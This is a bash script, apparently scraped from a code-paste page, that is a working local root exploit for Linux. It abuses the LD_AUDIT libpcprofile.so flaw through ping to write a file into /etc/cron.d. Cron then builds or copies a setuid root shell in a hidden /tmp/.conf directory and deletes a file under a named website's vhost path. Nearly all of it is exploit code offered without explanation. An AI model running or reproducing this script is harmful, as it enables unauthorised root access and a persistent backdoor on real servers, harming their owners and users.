bin bash GCC which gcc DASH which dash BASH which bash OUTDIR tmp conf

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/bin/bash
GCC=$(which gcc)
DASH=$(which dash)
BASH=$(which bash)
OUTDIR="/tmp/.conf"
OUTPUT="/temp"
CRON="/etc/cron.d/f"
YEAR=$(ls -l /lib/libpcprofile.so | awk '{print $8}')
function error() {
echo "[!] error. exiting.."
exit 0
}
umask 0
cd /tmp
if [ "$YEAR" == "2008" ] || [ "$YEAR" == "2009" ] || [ "$YEAR" == "2010" ]; then
echo -n "[+] libpcprofile year: "$YEAR
LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="$CRON" ping 1>/dev/null 2>/dev/null
if [ -f $CRON ]; then
echo -n "[+] existe crontab"
mkdir -p ${OUTDIR}
if [ "$GCC" != "" ]; then
echo -n "[+] existe gcc"
echo "main(){setuid(0);setgid(0);system(\"/bin/sh\");}" > ${OUTDIR}${OUTPUT}.c
gcc -o ${OUTDIR}${OUTPUT} ${OUTDIR}${OUTPUT}.c
if [ -f ${OUTDIR}${OUTPUT} ]; then
echo -n "[+] existe trigger #1"
echo -e "* * * * * root chown root.root "${OUTDIR}${OUTPUT}"; chmod 4755 "${OUTDIR}${OUTPUT}" ; rm /srv/www/vhosts/bethisvibrant.com/temp \n" > ${CRON}
else
error
fi
else
if [ "$DASH" != "" ]; then
echo -n "[+] existe trigger #2"
echo -e "* * * * * root cp "${DASH}" "${OUTDIR}${OUTPUT}" ; chmod u+s "${OUTDIR}${OUTPUT}" ; rm /srv/www/vhosts/bethisvibrant.com/temp \n" > ${CRON}
elif [ "$BASH" != "" ]; then
echo "[+] existe trigger #3"
echo -e "* * * * * root cp "${BASH}" "${OUTDIR}${OUTPUT}" ; chmod u+s "${OUTDIR}${OUTPUT}" ; rm /srv/www/vhosts/bethisvibrant.com/temp \n" > ${CRON}
fi
fi
else
error
fi
else
error
fi
cd /tmp